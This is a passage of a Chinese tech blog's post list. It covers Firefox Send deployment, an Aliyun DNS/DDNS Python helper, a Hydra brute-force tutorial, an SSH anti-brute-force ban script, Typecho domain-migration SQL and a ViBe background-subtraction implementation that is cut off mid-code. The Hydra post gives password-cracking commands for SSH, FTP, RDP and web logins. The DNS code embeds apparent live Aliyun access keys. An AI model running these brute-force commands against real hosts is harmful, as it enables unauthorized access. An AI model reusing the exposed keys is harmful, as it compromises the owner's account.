CDM协同联动,科学加强航班预先计划安排和航班计划执行,实现资源共享和协同决策最大化,从而提升航班正常率;以大数据应用、移动互联网为平台,不断创新服务模式,在改签中转、旅客步行距离、行李运输等环节上下功夫,探索全流程便利化服务功能,将信息化应用覆盖民航全领域全流程全要素。五是专业人才队伍要提质,民航所具有的高技术属性决定了这个行业对于高素质人才的迫切需求,特别是要发展民航信息化更需要一大批既懂信息技术又熟悉专业知识的高素质人才来承担信息化技术研究、开发推广、服务应用、高级管理等工作。我们要高度重视信息化专业人才队伍建设工作,民航院校要加强信息化人才培养、做好人才储备:科研院所要创新推行人才激励机制,提高人才待遇、改善人才环境,留住人才、用好人才;各企事业单位要通过完善管理、培训和考核制度提升相关人员专业技能、提高人才队伍综合能力和素质。六是网络安全保障能力要提升。面对全球范围内复杂的网络安全形势,要进一步优化网络安全管理制度体系,加强网络安全技术保障体系建设,有效落实网络安全保护"三化六防”措施,落实民航关键信息基础设施安全保护制度,通过智慧化手段提升民航网络安全监测预警和应急处置能力,有效应对智慧民航网络安全风险隐患,确保网络安全重大事件得到有效防范、遏制和处置,全面提升行业网络安全保障能力。各位来宾,同志们,信息化建设是一项长期而重要的系统工程,需要我们高度重视、长抓不懈,我们要坚持以智慧民航建设为主线不动摇,勇于创新、锐意进取,不断提高行业信息化水平,用信息化高质量发展助力民航高质量发展为我国数字经济高质量发展发挥更大作用,做出更大贡献祝本次论坛圆满成功,谢谢大家!
2021年12月09日
497 阅读
0 评论
0 点赞
2021-12-08
Firefox Send:临时文件分享系统快速搭建
1.介绍Firefox Send是Firefox推出的一個全新的临时文件分享系统2. 使用Docker快速完成搭建2.1 安装Docker自行百度完成2.2 拉取镜像docker run --name send -d -p 1443:1443 moerats/send然后使用ip:1443访问即可,如果你想用其它端口,就更改前面的1443参数,比如8888:1443。3.修改文件上传大小上限找到目标容器ID# 找到目标容器ID docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 930ef8b92222 moerats/send "/start.sh" 12 minutes ago Up 12 minutes 0.0.0.0:1443->1443/tcp send ···进入容器# 进入容器 docker attach 930ef8b92222修改/send/server/config.js的内容apt install vim··· anon_max_file_size: { format: Number, default: 1024 * 1024 * 1024 * 5, # 修改文件大小上限这里 env: 'ANON_MAX_FILE_SIZE' }, ···重启容器参考资料使用Firefox Send搭建一个临时文件分享系统
2021年12月08日
1,823 阅读
0 评论
0 点赞
2021-12-08
AliyunDNSHelper:阿里云dns解析助手-python实现
1.准备工作首先得有一个阿里云的域名https://www.aliyun.com/minisite/goods安装阿里云SDK和其他第三方库pip install aliyun-python-sdk-core-v3 pip install aliyun-python-sdk-domain pip install aliyun-python-sdk-alidns pip install requests获取accessKeyId和accessSecret可以在阿里云控制台个人中心直接获取,但是一般建议使用RAM角色来进行权限控制,这样这个accessKey和accessSecret就只能操作域名,不能操作其他的资源,相对会比较安全。关于RAM快速入门:https://help.aliyun.com/document_detail/28637.html2.代码实现2.1 ali-dns-helper.py`from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = input("SubDomian:") value = input("value:") sub_domain_type = input("Type:") dnsHelper.action(sub_domain,value,sub_domain_type)2.2 ali-ddns-ipv6.py:实现ipv6 DDNS功能(ipv4同理)2.2.1 获取本机公网ipv6地址方法1:通过http接口获取(推荐)def getIPv6Address(): text = requests.get('https://v6.ident.me').text return text getIPv6Address()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'方法2:python执行shell命令--其中的shell命令需要根据实际情况进行修改def get_local_ipv6(): """ 获取本机ipv6地址,其中的shell命令需要根据实际情况进行修改 """ import os; cmd_get_ipv6 = "ifconfig enp1s0 | awk '{if(NR==3){print $3}}'" # 获取本机ipv6的shell命令,需要根据实际情况进行修改 ipv6 = os.popen(cmd_get_ipv6).readlines()[0] if "/" in ipv6: ipv6 = ipv6.split("/")[0] return ipv6 get_local_ipv6()'2001:da8:a012:2da:2f0:d2ff:fed0:d0d2'2.2.2 配合time.sleep完成DDNS功能from aliyunsdkcore.client import AcsClient from aliyunsdkcore.acs_exception.exceptions import ClientException from aliyunsdkcore.acs_exception.exceptions import ServerException from aliyunsdkalidns.request.v20150109.DescribeSubDomainRecordsRequest import DescribeSubDomainRecordsRequest from aliyunsdkalidns.request.v20150109.DescribeDomainRecordsRequest import DescribeDomainRecordsRequest import requests from urllib.request import urlopen import json import time class AliyunDNSHelper: def __init__(self,accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top"): """ 阿里云DNS助手初始化 需要传入自己的accessKeyId、accessSecret、domain """ self.client = AcsClient(accessKeyId, accessSecret, 'cn-hangzhou') self.domain = domain def update(self,RecordId, RR, Type, Value): """ 修改域名解析记录方法 参数列表: + RecordId:调用查询方法时候查到对应的记录会返回 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.UpdateDomainRecordRequest import UpdateDomainRecordRequest request = UpdateDomainRecordRequest() request.set_accept_format('json') request.set_RecordId(RecordId) request.set_RR(RR) request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def add(self,DomainName, RR, Type, Value): """ 添加新的域名解析记录方法 参数列表: + DomainName:待修改的主域名 + RR:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ from aliyunsdkalidns.request.v20150109.AddDomainRecordRequest import AddDomainRecordRequest request = AddDomainRecordRequest() request.set_accept_format('json') request.set_DomainName(DomainName) request.set_RR(RR) # https://blog.zeruns.tech request.set_Type(Type) request.set_Value(Value) response = self.client.do_action_with_exception(request) def select(self,subDomian): """ 查询子域域名解析记录 参数列表: + subDomian:子域名 """ request = DescribeSubDomainRecordsRequest() request.set_accept_format('json') request.set_DomainName(self.domain) request.set_SubDomain(subDomian + '.' + self.domain) response = self.client.do_action_with_exception(request) # 获取域名解析记录列表 domain_list = json.loads(response) # 将返回的JSON数据转化为Python能识别的 if domain_list["TotalCount"]==0: return None return domain_list["DomainRecords"]["Record"][0] def action(self,subDomian,Value,Type="A"): """ 执行用户关于DNS操作的的行为 参数列表: + action_type操作类型,包括add,update + subDomian:记录名即子域名 + Type:记录类型包括CNAME、A、AAAA等 + Value:记录值 """ print("待处理的记录为 %s:%s-->Domain:%s" % (Type,Value,subDomian + '.' + self.domain)) subDomian_record = self.select(subDomian) if subDomian_record: RecordId,RecordValue = subDomian_record["RecordId"],subDomian_record["Value"] if Value==RecordValue: print("该域名解析记录已存在,跳过") else: self.update(RecordId, subDomian, Type, Value) print("修改域名解析成功") else: self.add(self.domain, subDomian, Type, Value) print("新建域名解析成功") def getIPv6Address(): text = requests.get('https://v6.ident.me').text # 接口失效后需要及时进行修改 return text dnsHelper = AliyunDNSHelper(accessKeyId = "LTAI4GHqgJgbzPfNnkwyGqks",accessSecret = "CzXkUS8BWcjJ7qEbKrqg6qxUOdnW6M",domain = "4v7p.top") sub_domain = "d2550-ipv6" sub_domain_type = "AAAA" while True: print("当前时间:",time.strftime("%Y-%m-%d %H:%M:%S", time.localtime())) value = getIPv6Address() dnsHelper.action(sub_domain,value,sub_domain_type) time.sleep(2*3600) # 每隔2个小时执行1次然后配合screen命令或者去掉无限循环使用定时任务进行执行即可完成ipv6的DDNS的功能参考资料Python实现阿里云域名DDNS支持ipv4和ipv6python 3.7.3 shell_python3执行shell命令的几种方式Python 获取本机公网IPv6地址Python 日期和时间
2021年12月08日
748 阅读
0 评论
0 点赞
2021-12-08
Hydra:Linux下暴力破解工具--ssh/ftp等暴力破解
1.简介hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra可支持破解密码类型:AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等。2.安装1.下载 https://www.thc.org/releases/hydra-8.3.tar.gz2.安装依赖包 如果是Debian和Ubuntu发行版,yum源里自带hydra,我们直接用apt-get在线安装。sudo apt-get -y install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev hydra gcc 对于Redhat/Centos/Fedora发行版,我们需要下载源码包,然后编译安装,因此先安装相关依赖包sudo yum -y install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel gcc3.编译安装hydratar zxvf hydra-8.3.tar.gz cd hydra-8.3 ./configure --prefix=/path/to/hydra make && make install3.使用3.1 参数介绍hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT] -R 继续从上一次进度接着破解。 -S 采用SSL链接。 -s PORT 可通过这个参数指定非默认端口。 -l LOGIN 指定破解的用户,对特定用户破解。 -L FILE 指定用户名字典。 -p PASS 小写,指定密码破解,少用,一般是采用密码字典。 -P FILE 大写,指定密码字典。 -e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。 -C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。 -M FILE 指定目标列表文件一行一条。 -o FILE 指定结果输出文件。 -f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。 -t TASKS 同时运行的线程数,默认为16。 -w TIME 设置最大超时的时间,单位秒,默认是30s。 -v / -V 显示详细过程。 server 目标ip service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。 OPT 可选项3.2 具体使用方法介绍破解ssh的密码# hydra -L users.txt -P password.txt -vV -o ssh.log -e ns IP ssh破解https:# hydra -m /index.php -l username -P pass.txt IP https破解teamspeak:# hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak破解cisco:# hydra -P pass.txt IP cisco # hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable破解smb:# hydra -l administrator -P pass.txt IP smb破解pop3:# hydra -l muts -P pass.txt my.pop3.mail pop3破解rdp:# hydra IP rdp -l administrator -P pass.txt -V破解http-proxy:# hydra -l admin -P pass.txt http-proxy://10.36.16.18破解telnet# hydra IP telnet -l 用户 -P 密码字典 -t 32 -s 23 -e ns -f -V破解ftp:# hydra IP ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV # hydra IP ftp -l 用户名 -P 密码字典 -e ns -vVget方式提交,破解web登录:# hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns IP http-get /admin/ # hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f IP http-get /admin/index.phppost方式提交,破解web登录:# hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password" # hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:wrong username or password" (参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)破解imap:# hydra -L user.txt -p secret 10.36.16.18 imap PLAIN # hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN此工具强大之处远多于以上测试,其密码能否破解关键在于强大的字典,对于社工型渗透来说,有时能够得到事半功倍的效果4.实例4.1 实例1:ssh暴力破解主机# 需要事先准备好密码字典pass.txt hydra -l root -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh # 需要事先准备好用户名字典users.txt和密码字典pass.txt hydra -L users.txt -P pass.txt -vV -o ssh.log -e ns 10.1.9.249 ssh输出Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes. Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-12-08 00:01:49 [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4 [WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore [DATA] max 16 tasks per 1 server, overall 16 tasks, 34264 login tries (l:2/p:17132), ~2142 tries per task [DATA] attacking ssh://10.1.9.249:22/ [VERBOSE] Resolving addresses ... [VERBOSE] resolving done [INFO] Testing if password authentication is supported by ssh://root@10.1.9.249:22 [INFO] Successful, password authentication is supported by ssh://10.1.9.249:22 [ATTEMPT] target 10.1.9.249 - login "root" - pass "root" - 1 of 34264 [child 0] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "" - 2 of 34264 [child 1] (0/0) ······ [ATTEMPT] target 10.1.9.249 - login "root" - pass "echina0228" - 8 of 34264 [child 7] (0/0) [ATTEMPT] target 10.1.9.249 - login "root" - pass "xiaxue123-$$" - 9 of 34264 [child 8] (0/0) ······参考资料hydra 使用介绍1400多万个弱口令密码字典下载Linux下暴力破解工具Hydra详解
2021年12月08日
618 阅读
0 评论
0 点赞
2021-12-07
Linux防爆破ssh脚本-通过修改/etc/hosts.deny实现
注意:需要使用root用户身份操作1.ubuntu方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/sh lastb |awk '/ssh/{print $3}' |sort |uniq -c |awk '{print $2"="$1}' >/script/black.list for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash /script/checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh2.centerOS方式脚本编写mkdir /script vim /script/checkBlackIp.sh#!/bin/bash cat /var/log/secure|awk '/Failed/{print $(NF-3)}'|sort|uniq -c|awk '{print $2"="$1;}' > /script/black.txt for i in `cat /script/black.list` do IP=`echo $i |awk -F= '{print $1}'` NUM=`echo $i |awk -F= '{print $2}'` echo $IP:$NUM if [ $NUM -gt 2 ]; then grep $IP /etc/hosts.deny >/dev/null if [ $? -gt 0 ];then echo "sshd:$IP:deny" echo "sshd:$IP:deny" >>/etc/hosts.deny fi fi done手工运行测试sudo bash checkBlackIp.sh定时2分钟执行1次crontab -e# 加入如下内容 */2 * * * * root sh /script/checkBlackIp.sh参考资料Linux Contos Ubuntu防爆破ssh脚本
2021年12月07日
839 阅读
0 评论
0 点赞
2021-12-07
为你的Handsome主题添上滑稽小表情
1.食用指南1.1 上手操作解压 funny.zip ,你将会得到 funny 文件夹和 OwO.json 文件,操作前请做好相应备份工作只适用于 Handsome 主题funny 文件夹放于 handsome 主题 usr/img/emotion/ 目录下OwO.json 替换原文件,,此 OwO.json 文件位于 usr/ 目录下有人说表情默认显示太大,那就加个css调和下/*滑稽小表情自定义大小*/ .emotion-funny { width: 30px; } .comment-content-**true** img.emotion-funny { max-width: 100%!important; }文件下载点我下载 funny.zip2.成果展示
2021年12月07日
638 阅读
0 评论
0 点赞
2021-12-07
Typecho 网站域名更换方法
1.通用网站域名更换方法域名解析,把新网站域名解析到网站 IP 上修改 web 服务器配置文件,如 nginx.conf 、.htaccess、以及配置 SSL 证书等修改站点配置和网站内容2.Typecho 网站域名更换Typecho 网站的域名更换方法和上面的基本一致,在第三点上可能有一些通过数据库操作的便捷方法。对于网站配置和网站内容的修改,一种办法是进入到网站后台,挨个进行修改,只是这种方法太过于麻烦和耗时,另一种简易的办法是通过数据库直接进行修改,非常便捷,有遗漏的手动进行查漏补缺即可。以下 SQL 语句默认表前缀为 typecho_,若你的数据库表前缀不是 typecho_,请自行修改语句。2.1修改 typecho\_options 表将网站的设置里的域名替换成新的域名:UPDATE `typecho_options` SET `value` = '新域名地址' WHERE `typecho_options`.`name` = 'siteUrl' AND `typecho_options`.`user` =0;2.1修改 typecho\_contents 表将网站文章里的旧域名替换成新的域名:UPDATE `typecho_contents` SET `text` = REPLACE(`text`,'旧域名地址','新域名地址');2.3修改 typecho\_users 表将管理员的个人网站进行替换UPDATE `typecho_users` SET `url` = REPLACE(`url`,'旧域名地址','新域名地址');2.4修改 typecho\_comments 表对评论中的管理员的域名,和评论中的旧域名进行替换UPDATE `typecho_comments` SET `url` = REPLACE(`url`,'旧域名地址','新域名地址'); UPDATE `typecho_comments` SET `text` = REPLACE(`text`,'旧域名地址','新域名地址'); 如果使用的域名邮箱,也建议进行更换 UPDATE `typecho_comments` SET `mail` = REPLACE(`mail`,'旧域名地址','新域名地址');2.5查漏补缺如果还有其他的地方修改,参照上面的 SQL 语句进行替换即可,也可以进入网站后台手动进行修改~
2021年12月07日
1,381 阅读
1 评论
0 点赞
2021-12-07
ViBe(Visual Background Extractor)背景模型介绍与实现
1.原理介绍1.1 模型工作原理背景物体就是指静止的或是非常缓慢的移动的物体,而前景物体就对应移动的物体。所以我们可以把物体检测看出一个分类问题,也就是来确定一个像素点是否属于背景点。在ViBe模型中,背景模型为每个像素点存储了一个样本集,然后将每一个新的像素值和样本集进行比较来判断是否属于背景点。可以知道如果一个新的观察值属于背景点那么它应该和样本集中的采样值比较接近。该模型主要包括三个方面:(1)算法模型初始化;(2)像素的分类过程;(3)模型的更新策略。1.2关于样本集的大小假定我们要处理的每一帧图像是$M \times N$ 个像素的,$x$表示某帧图像的一个像素点。模型要为$M \times N$中每个像素建立一个样本集,$x$像素的样本集可以表示为$$ M(x)=\{p_1 , p_2 , p_3 … p_n\} $$每个样本集的大小为n,n这个值如何确定的,暂时不用管,一般是实验得出的,论文中取$n=20$。所以样本集的总大小为$M \times N \times n$。1.3模型的初始化初始化就是建立背景模型的过程。通用的检测算法的初始化需要一定长度的视频序列来完成,通常要耗费数秒的时间,这极大的影戏的检测的实时性,对于手持相机实时拍照来讲并不合适。ViBe的初始化仅仅通过一帧图像即可完成。ViBe初始化就是填充像素的样本集的过程。由于在一帧图像中不可能包含像素点的时空分布信息,我们利用了相近像素点拥有相近的时空分布特性,具体来讲就是:对于一个像素点$x$,随机的选择它的邻居点$NG(x)$的像素值作为它的模型样本值$M_0(x)$。$$ M_0(x) = {p_0(y | y ∈NG(x))} $$这种初始化方法的优缺点:优点对于噪声的反应比较灵敏,计算量小速度快,不仅减少了背景模型建立的过程,还可以处理背景突然变化的情况,当检测到背景突然变化明显时,只需要舍弃原始的模型,重新利用变化后的首帧图像建立背景模型。缺点用于作平均的几帧初始图像中可能采用了运动物体的像素,这种条件下初始化样本集,容易引入拖影(Ghost)区域;1.4像素的分类过程(前景检测)如下图,假定当前帧为第$ t$ 帧,$p_t(x)$表示第$ t$ 帧图像 $x$ 像素的像素值,图中的$p1$到$p6$都是$x$像素的样本集中的值。那图中的横坐标C1和纵坐标C2是什么呢?我们假定我们处理的图像每个像素是RGB格式的,即一个像素值由R,G,B三个值表示,那么图中的坐标其实还隐藏了C3,即C1,C2,C3表示的正是三个通道值,如果是灰度图的话下面的图就要画成一维一条直线了。接下来我们根据预先设定的半径R统计以当前像素点为中心的圆形区域$S_R(p_t{x})$(实际对应到RGB空间中为球形区域)中包含的该像素点的样本集中的样本的数量,这里记为#。在距$p_t(x)$值半径R距离范围内的样本值有$p_2,p_4$,在半径R范围内的样本值总数计为#,那么下图#=2。让后将该值与预先设定的阈值#min(论文中给出的值是2)进行对比,当#<#min的值时,x这个像素就被标记为前景像素,否则就将其标记为背景像素,依次处理所有像素,就能得出前景图像了1.5模型的更新策略即使已经建立起了背景模型,也应该对背景模型进行不断的更新,这样才能使得背景模型能够适应背景的不断变化(如光照变化,背景物体变更等)。A. 普通更新策略对于其他的背景提取算法,背景模型有两种不同的更新策略:保守更新策略:前景点永远不会用来填充模型这样会引起死锁,产生Ghost区域。比如初始化的时候如果一块静止的区域被错误的检测为运动的,那么在这种策略下它永远会被当做运动的物体来对待;Blind策略:前景和背景都可以用来更新背景模型;对死锁不敏感,但这样的缺点在于,缓慢移动的物体会融入到背景中,无法检测出来;B. ViBe算法更新策略ViBe算法中,使用的更新策略是:保守更新策略 + 前景点计数法 + 随机子采样。保守更新策略:前景点永远不会用来填充模型前景点计数法:对像素点进行统计,如果某个像素点连续N次被检测为前景,则将其更新为背景点;随机子采样:在每一个新的视频帧中都去更新背景模型中的每一个像素点的样本值是没有必要的,当一个像素点被分类为背景点时,它有1/φ的概率去更新背景模型。这就决定了ViBe算法的更新策略的其他属性:无记忆更新策略:每次确定需要更新像素点的背景模型时,以新的像素值随机取代该像素点样本集的一个样本值;时间取样更新策略:并非每处理一帧数据,都需要更新处理,而是按一定的更新率更新背景模型;当一个像素点被判定为背景时,它有1/φ的概率更新背景模型;φ是时间采样因子,一般取值为16;空间邻域更新策略:针对需要更新像素点,在该像素点的邻域中随机选择一个像素点,以新选择的像素点更新被选中的背景模型;C. ViBe算法具体更新的方法:每个背景点都有1/φ的概率更新该像素点的模型样本值;有1/φ的概率去更新该像素点邻居点的模型样本值;前景点计数达到临界值时,将其变为背景,并有1/ φ的概率去更新自己的模型样本值。2.算法实现import numpy as np import cv2 class ViBe: ''' ViBe运动检测,分割背景和前景运动图像 ''' def __init__(self,num_sam=20,min_match=2,radiu=20,rand_sam=16): self.defaultNbSamples = num_sam #每个像素的样本集数量,默认20个 self.defaultReqMatches = min_match #前景像素匹配数量,如果超过此值,则认为是背景像素 self.defaultRadius = radiu #匹配半径,即在该半径内则认为是匹配像素 self.defaultSubsamplingFactor = rand_sam #随机数因子,如果检测为背景,每个像素有1/defaultSubsamplingFactor几率更新样本集和领域样本集 self.background = 0 self.foreground = 255 def __buildNeighborArray(self,img): ''' 构建一副图像中每个像素的邻域数组 参数:输入灰度图像 返回值:每个像素9邻域数组,保存到self.samples中 ''' height,width=img.shape self.samples=np.zeros((self.defaultNbSamples,height,width),dtype=np.uint8) #生成随机偏移数组,用于计算随机选择的邻域坐标 ramoff_xy=np.random.randint(-1,2,size=(2,self.defaultNbSamples,height,width)) #ramoff_x=np.random.randint(-1,2,size=(self.defaultNbSamples,2,height,width)) #xr_=np.zeros((height,width)) xr_=np.tile(np.arange(width),(height,1)) #yr_=np.zeros((height,width)) yr_=np.tile(np.arange(height),(width,1)).T xyr_=np.zeros((2,self.defaultNbSamples,height,width)) for i in range(self.defaultNbSamples): xyr_[1,i]=xr_ xyr_[0,i]=yr_ xyr_=xyr_+ramoff_xy xyr_[xyr_<0]=0 tpr_=xyr_[1,:,:,-1] tpr_[tpr_>=width]=width-1 tpb_=xyr_[0,:,-1,:] tpb_[tpb_>=height]=height-1 xyr_[0,:,-1,:]=tpb_ xyr_[1,:,:,-1]=tpr_ #xyr=np.transpose(xyr_,(2,3,1,0)) xyr=xyr_.astype(int) self.samples=img[xyr[0,:,:,:],xyr[1,:,:,:]] def ProcessFirstFrame(self,img): ''' 处理视频的第一帧 1、初始化每个像素的样本集矩阵 2、初始化前景矩阵的mask 3、初始化前景像素的检测次数矩阵 参数: img: 传入的numpy图像素组,要求灰度图像 返回值: 每个像素的样本集numpy数组 ''' self.__buildNeighborArray(img) self.fgCount=np.zeros(img.shape) #每个像素被检测为前景的次数 self.fgMask=np.zeros(img.shape) #保存前景像素 def Update(self,img): ''' 处理每帧视频,更新运动前景,并更新样本集。该函数是本类的主函数 输入:灰度图像 ''' height,width=img.shape #计算当前像素值与样本库中值之差小于阀值范围RADIUS的个数,采用numpy的广播方法 dist=np.abs((self.samples.astype(float)-img.astype(float)).astype(int)) dist[dist<self.defaultRadius]=1 dist[dist>=self.defaultRadius]=0 matches=np.sum(dist,axis=0) #如果大于匹配数量阀值,则是背景,matches值False,否则为前景,值True matches=matches<self.defaultReqMatches self.fgMask[matches]=self.foreground self.fgMask[~matches]=self.background #前景像素计数+1,背景像素的计数设置为0 self.fgCount[matches]=self.fgCount[matches]+1 self.fgCount[~matches]=0 #如果某个像素连续50次被检测为前景,则认为一块静止区域被误判为运动,将其更新为背景点 fakeFG=self.fgCount>50 matches[fakeFG]=False #此处是该更新函数的关键 #更新背景像素的样本集,分两个步骤 #1、每个背景像素有1/self.defaultSubsamplingFactor几率更新自己的样本集 ##更新样本集方式为随机选取该像素样本集中的一个元素,更新为当前像素的值 #2、每个背景像素有1/self.defaultSubsamplingFactor几率更新邻域的样本集 ##更新邻域样本集方式为随机选取一个邻域点,并在该邻域点的样本集中随机选择一个更新为当前像素值 #更新自己样本集 upfactor=np.random.randint(self.defaultSubsamplingFactor,size=img.shape) #生成每个像素的更新几率 upfactor[matches]=100 #前景像素设置为100,其实可以是任何非零值,表示前景像素不需要更新样本集 upSelfSamplesInd=np.where(upfactor==0) #满足更新自己样本集像素的索引 upSelfSamplesPosition=np.random.randint(self.defaultNbSamples,size=upSelfSamplesInd[0].shape) #生成随机更新自己样本集的的索引 samInd=(upSelfSamplesPosition,upSelfSamplesInd[0],upSelfSamplesInd[1]) self.samples[samInd]=img[upSelfSamplesInd] #更新自己样本集中的一个样本为本次图像中对应像素值 #更新邻域样本集 upfactor=np.random.randint(self.defaultSubsamplingFactor,size=img.shape) #生成每个像素的更新几率 upfactor[matches]=100 #前景像素设置为100,其实可以是任何非零值,表示前景像素不需要更新样本集 upNbSamplesInd=np.where(upfactor==0) #满足更新邻域样本集背景像素的索引 nbnums=upNbSamplesInd[0].shape[0] ramNbOffset=np.random.randint(-1,2,size=(2,nbnums)) #分别是X和Y坐标的偏移 nbXY=np.stack(upNbSamplesInd) nbXY+=ramNbOffset nbXY[nbXY<0]=0 nbXY[0,nbXY[0,:]>=height]=height-1 nbXY[1,nbXY[1,:]>=width]=width-1 nbSPos=np.random.randint(self.defaultNbSamples,size=nbnums) nbSamInd=(nbSPos,nbXY[0],nbXY[1]) self.samples[nbSamInd]=img[upNbSamplesInd] def getFGMask(self): ''' 返回前景mask ''' return self.fgMask调用测试import matplotlib.pyplot as plt # 使用opencv加载目标视频 video_path = "./test.mp4" capture = cv2.VideoCapture(video_path) # 实例化ViBe模型 vibe=ViBe() # 第一帧标志 flag_first_frame = True while True: # 逐一读取视频帧 ret, frame = capture.read() if not ret: 